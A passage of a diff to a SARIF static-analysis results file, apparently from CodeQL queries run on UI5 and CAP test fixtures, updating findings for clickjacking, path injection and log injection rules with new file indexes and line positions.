"javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 205 + "index" : 207 }, "region" : { "startLine" : 17, @@ -25877,7 +25873,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 210 + "index" : 211 }, "region" : { "startLine" : 5, @@ -25896,7 +25892,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 205 + "index" : 207 }, "region" : { "startLine" : 9, @@ -25914,7 +25910,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 205 + "index" : 207 }, "region" : { "startLine" : 15, @@ -25932,7 +25928,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 205 + "index" : 207 }, "region" : { "startLine" : 15, @@ -25950,7 +25946,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 205 + "index" : 207 }, "region" : { "startLine" : 17, @@ -25971,7 +25967,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 210 + "index" : 211 }, "region" : { "startLine" : 5, @@ -25985,34 +25981,152 @@ } } ] }, { - "ruleId" : "js/ui5-formula-injection", + "ruleId" : "js/ui5-clickjacking", "rule" : { - "id" : "js/ui5-formula-injection", + "id" : "js/ui5-clickjacking", + "index" : 3, + "toolComponent" : { + "index" : 1 + } + }, + "message" : { + "text" : "Possible clickjacking vulnerability due to window\\[ ... onfig\"\\] being set to `allow`." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", + "uriBaseId" : "%SRCROOT%", + "index" : 138 + }, + "region" : { + "startLine" : 9, + "startColumn" : 9, + "endColumn" : 32 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "6152b8f74a1abdf5:1", + "primaryLocationStartColumnFingerprint" : "0" + } + }, { + "ruleId" : "js/ui5-clickjacking", + "rule" : { + "id" : "js/ui5-clickjacking", + "index" : 3, + "toolComponent" : { + "index" : 1 + } + }, + "message" : { + "text" : "Possible clickjacking vulnerability due to data-sap-ui-frameOptions=allow being set to `allow`." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html", + "uriBaseId" : "%SRCROOT%", + "index" : 138 + }, + "region" : { + "startLine" : 28, + "startColumn" : 34, + "endColumn" : 66 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "b01bd23ca3666824:1", + "primaryLocationStartColumnFingerprint" : "25" + } + }, { + "ruleId" : "js/ui5-clickjacking", + "rule" : { + "id" : "js/ui5-clickjacking", + "index" : 3, + "toolComponent" : { + "index" : 1 + } + }, + "message" : { + "text" : "Possible clickjacking vulnerability due to missing frame options." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html", + "uriBaseId" : "%SRCROOT%", + "index" : 140 + }, + "region" : { + "startLine" : 2, + "endColumn" : 16 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "7fe81114896a63c:1", + "primaryLocationStartColumnFingerprint" : "0" + } + }, { + "ruleId" : "js/ui5-clickjacking", + "rule" : { + "id" : "js/ui5-clickjacking", + "index" : 3, + "toolComponent" : { + "index" : 1 + } + }, + "message" : { + "text" : "Possible clickjacking vulnerability due to missing frame options." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html", + "uriBaseId" : "%SRCROOT%", + "index" : 246 + }, + "region" : { + "startLine" : 2, + "endColumn" : 16 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "df700c15dad274b2:1", + "primaryLocationStartColumnFingerprint" : "0" + } + }, { + "ruleId" : "js/ui5-path-injection", + "rule" : { + "id" : "js/ui5-path-injection", "index" : 4, "toolComponent" : { "index" : 1 } }, "message" : { - "text" : "The content of a saved file depends on a [user-provided value](1)." + "text" : "The path of a saved file depends on a [user-provided value](1)." }, "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 146 + "index" : 216 }, "region" : { "startLine" : 17, - "startColumn" : 27, - "endColumn" : 45 + "startColumn" : 43, + "endColumn" : 61 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "41899ff1a967017d:1", - "primaryLocationStartColumnFingerprint" : "10" + "primaryLocationLineHash" : "68e5ff83e2198ff5:1", + "primaryLocationStartColumnFingerprint" : "26" }, "codeFlows" : [ { "threadFlows" : [ { @@ -26020,9 +26134,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 153 + "index" : 221 }, "region" : { "startLine" : 5, @@ -26039,9 +26153,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 145 + "index" : 217 }, "region" : { "startLine" : 9, @@ -26057,9 +26171,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 146 + "index" : 216 }, "region" : { "startLine" : 8, @@ -26075,14 +26189,14 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 146 + "index" : 216 }, "region" : { "startLine" : 17, - "startColumn" : 27, - "endColumn" : 45 + "startColumn" : 43, + "endColumn" : 61 } }, "message" : { @@ -26096,9 +26210,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 153 + "index" : 221 }, "region" : { "startLine" : 5, @@ -26112,34 +26226,34 @@ } } ] }, { - "ruleId" : "js/ui5-formula-injection", + "ruleId" : "js/ui5-path-injection", "rule" : { - "id" : "js/ui5-formula-injection", + "id" : "js/ui5-path-injection", "index" : 4, "toolComponent" : { "index" : 1 } }, "message" : { - "text" : "The content of a saved file depends on a [user-provided value](1)." + "text" : "The path of a saved file depends on a [user-provided value](1)." }, "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 23, - "startColumn" : 27, - "endColumn" : 39 + "startColumn" : 43, + "endColumn" : 55 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "9afa5fd07ee36af6:1", - "primaryLocationStartColumnFingerprint" : "10" + "primaryLocationLineHash" : "b79de9dff4d8f842:1", + "primaryLocationStartColumnFingerprint" : "26" }, "codeFlows" : [ { "threadFlows" : [ { @@ -26147,9 +26261,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 158 + "index" : 230 }, "region" : { "startLine" : 5, @@ -26166,9 +26280,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 155 + "index" : 226 }, "region" : { "startLine" : 9, @@ -26184,9 +26298,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 9, @@ -26202,9 +26316,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 15, @@ -26220,9 +26334,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 15, @@ -26238,9 +26352,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 17, @@ -26256,9 +26370,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 17, @@ -26274,9 +26388,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 17, @@ -26292,9 +26406,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 17, @@ -26310,14 +26424,14 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 154 + "index" : 225 }, "region" : { "startLine" : 23, - "startColumn" : 27, - "endColumn" : 39 + "startColumn" : 43, + "endColumn" : 55 } }, "message" : { @@ -26331,9 +26445,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 158 + "index" : 230 }, "region" : { "startLine" : 5, @@ -26347,34 +26461,34 @@ } } ] }, { - "ruleId" : "js/ui5-formula-injection", + "ruleId" : "js/ui5-path-injection", "rule" : { - "id" : "js/ui5-formula-injection", + "id" : "js/ui5-path-injection", "index" : 4, "toolComponent" : { "index" : 1 } }, "message" : { - "text" : "The content of a saved file depends on a [user-provided value](1)." + "text" : "The path of a saved file depends on a [user-provided value](1)." }, "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 162 + "index" : 233 }, "region" : { "startLine" : 16, - "startColumn" : 23, - "endColumn" : 51 + "startColumn" : 39, + "endColumn" : 67 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "e701acdf85af03b4:1", - "primaryLocationStartColumnFingerprint" : "10" + "primaryLocationLineHash" : "de27f6d546a116e8:1", + "primaryLocationStartColumnFingerprint" : "26" }, "codeFlows" : [ { "threadFlows" : [ { @@ -26382,9 +26496,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 166 + "index" : 237 }, "region" : { "startLine" : 5, @@ -26401,9 +26515,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 162 + "index" : 233 }, "region" : { "startLine" : 10, @@ -26419,14 +26533,14 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 162 + "index" : 233 }, "region" : { "startLine" : 16, - "startColumn" : 23, - "endColumn" : 51 + "startColumn" : 39, + "endColumn" : 67 } }, "message" : { @@ -26440,9 +26554,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 166 + "index" : 237 }, "region" : { "startLine" : 5, @@ -27811,43 +27925,240 @@ } }, "message" : { - "text" : "cds.par ... + book)" + "text" : "cds.par ... + book)" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 1 + }, + "region" : { + "startLine" : 30, + "startColumn" : 11, + "endColumn" : 61 + } + }, + "message" : { + "text" : "cqn1" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 1 + }, + "region" : { + "startLine" : 31, + "startColumn" : 39, + "endColumn" : 43 + } + }, + "message" : { + "text" : "cqn1" + } + } + } ] + } ] + } ], + "relatedLocations" : [ { + "id" : 1, + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 1 + }, + "region" : { + "startLine" : 7, + "startColumn" : 34, + "endColumn" : 37 + } + }, + "message" : { + "text" : "user-provided value" + } + } ] + }, { + "ruleId" : "js/cap-log-injection", + "rule" : { + "id" : "js/cap-log-injection", + "index" : 1, + "toolComponent" : { + "index" : 2 + } + }, + "message" : { + "text" : "Log entry depends on a [user-provided value](1)." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 11, + "startColumn" : 16, + "endColumn" : 29 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "eae426bf8fad0192:1", + "primaryLocationStartColumnFingerprint" : "9" + }, + "codeFlows" : [ { + "threadFlows" : [ { + "locations" : [ { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 7, + "startColumn" : 34, + "endColumn" : 37 + } + }, + "message" : { + "text" : "req" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 8, + "startColumn" : 34, + "endColumn" : 37 + } + }, + "message" : { + "text" : "req" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 8, + "startColumn" : 34, + "endColumn" : 42 + } + }, + "message" : { + "text" : "req.data" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 8, + "startColumn" : 13, + "endColumn" : 31 + } + }, + "message" : { + "text" : "{ book, quantity }" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 8, + "startColumn" : 15, + "endColumn" : 19 + } + }, + "message" : { + "text" : "book" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 2 + }, + "region" : { + "startLine" : 8, + "startColumn" : 13, + "endColumn" : 42 + } + }, + "message" : { + "text" : "book" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 1 + "index" : 2 }, "region" : { - "startLine" : 30, - "startColumn" : 11, - "endColumn" : 61 + "startLine" : 11, + "startColumn" : 25, + "endColumn" : 29 } }, "message" : { - "text" : "cqn1" + "text" : "book" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 1 + "index" : 2 }, "region" : { - "startLine" : 31, - "startColumn" : 39, - "endColumn" : 43 + "startLine" : 11, + "startColumn" : 16, + "endColumn" : 29 } }, "message" : { - "text" : "cqn1" + "text" : "\"CAP:\" + book" } } } ] @@ -27857,9 +28168,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 1 + "index" : 2 }, "region" : { "startLine" : 7, @@ -27886,20 +28197,20 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 9, - "startColumn" : 32, - "endColumn" : 45 + "startLine" : 18, + "startColumn" : 47, + "endColumn" : 48 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "7c291d40b7c61d4f:1", - "primaryLocationStartColumnFingerprint" : "23" + "primaryLocationLineHash" : "e05b39891dddd161:1", + "primaryLocationStartColumnFingerprint" : "40" }, "codeFlows" : [ { "threadFlows" : [ { @@ -27907,126 +28218,90 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", - "uriBaseId" : "%SRCROOT%", - "index" : 95 - }, - "region" : { - "startLine" : 6, - "startColumn" : 29, - "endColumn" : 32 - } - }, - "message" : { - "text" : "msg" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", - "uriBaseId" : "%SRCROOT%", - "index" : 95 - }, - "region" : { - "startLine" : 7, - "startColumn" : 35, - "endColumn" : 38 - } - }, - "message" : { - "text" : "msg" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 7, - "startColumn" : 35, - "endColumn" : 43 + "startLine" : 15, + "startColumn" : 24, + "endColumn" : 27 } }, "message" : { - "text" : "msg.data" + "text" : "req" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 7, - "startColumn" : 15, - "endColumn" : 32 + "startLine" : 18, + "startColumn" : 17, + "endColumn" : 20 } }, "message" : { - "text" : "{ messageToPass }" + "text" : "req" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 7, + "startLine" : 18, "startColumn" : 17, - "endColumn" : 30 + "endColumn" : 25 } }, "message" : { - "text" : "messageToPass" + "text" : "req.data" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 7, - "startColumn" : 15, - "endColumn" : 43 + "startLine" : 18, + "startColumn" : 13, + "endColumn" : 25 } }, "message" : { - "text" : "messageToPass" + "text" : "$" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 9, - "startColumn" : 32, - "endColumn" : 45 + "startLine" : 18, + "startColumn" : 47, + "endColumn" : 48 } }, "message" : { - "text" : "messageToPass" + "text" : "$" } } } ] @@ -28036,14 +28311,14 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 2 }, "region" : { - "startLine" : 6, - "startColumn" : 29, - "endColumn" : 32 + "startLine" : 15, + "startColumn" : 24, + "endColumn" : 27 } }, "message" : { @@ -28070,14 +28345,14 @@ "index" : 2 }, "region" : { - "startLine" : 11, + "startLine" : 25, "startColumn" : 16, "endColumn" : 29 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "eae426bf8fad0192:1", + "primaryLocationLineHash" : "4dc77ce4a9b7031e:1", "primaryLocationStartColumnFingerprint" : "9" }, "codeFlows" : [ { @@ -28091,49 +28366,13 @@ "index" : 2 }, "region" : { - "startLine" : 7, - "startColumn" : 34, - "endColumn" : 37 - } - }, - "message" : { - "text" : "req" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 8, - "startColumn" : 34, - "endColumn" : 37 - } - }, - "message" : { - "text" : "req" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 8, + "startLine" : 23, "startColumn" : 34, - "endColumn" : 42 + "endColumn" : 54 } }, "message" : { - "text" : "req.data" + "text" : "req2.params.category" } } }, { @@ -28145,7 +28384,7 @@ "index" : 2 }, "region" : { - "startLine" : 8, + "startLine" : 23, "startColumn" : 13, "endColumn" : 31 } @@ -28163,7 +28402,7 @@ "index" : 2 }, "region" : { - "startLine" : 8, + "startLine" : 23, "startColumn" : 15, "endColumn" : 19 } @@ -28181,9 +28420,9 @@ "index" : 2 }, "region" : { - "startLine" : 8, + "startLine" : 23, "startColumn" : 13, - "endColumn" : 42 + "endColumn" : 54 } }, "message" : { @@ -28199,7 +28438,7 @@ "index" : 2 }, "region" : { - "startLine" : 11, + "startLine" : 25, "startColumn" : 25, "endColumn" : 29 } @@ -28217,7 +28456,7 @@ "index" : 2 }, "region" : { - "startLine" : 11, + "startLine" : 25, "startColumn" : 16, "endColumn" : 29 } @@ -28238,9 +28477,9 @@ "index" : 2 }, "region" : { - "startLine" : 7, + "startLine" : 23, "startColumn" : 34, - "endColumn" : 37 + "endColumn" : 54 } }, "message" : { @@ -28262,20 +28501,20 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 18, - "startColumn" : 47, - "endColumn" : 48 + "startLine" : 9, + "startColumn" : 32, + "endColumn" : 45 } } } ], "partialFingerprints" : { - "primaryLocationLineHash" : "e05b39891dddd161:1", - "primaryLocationStartColumnFingerprint" : "40" + "primaryLocationLineHash" : "7c291d40b7c61d4f:1", + "primaryLocationStartColumnFingerprint" : "23" }, "codeFlows" : [ { "threadFlows" : [ { @@ -28283,90 +28522,126 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : 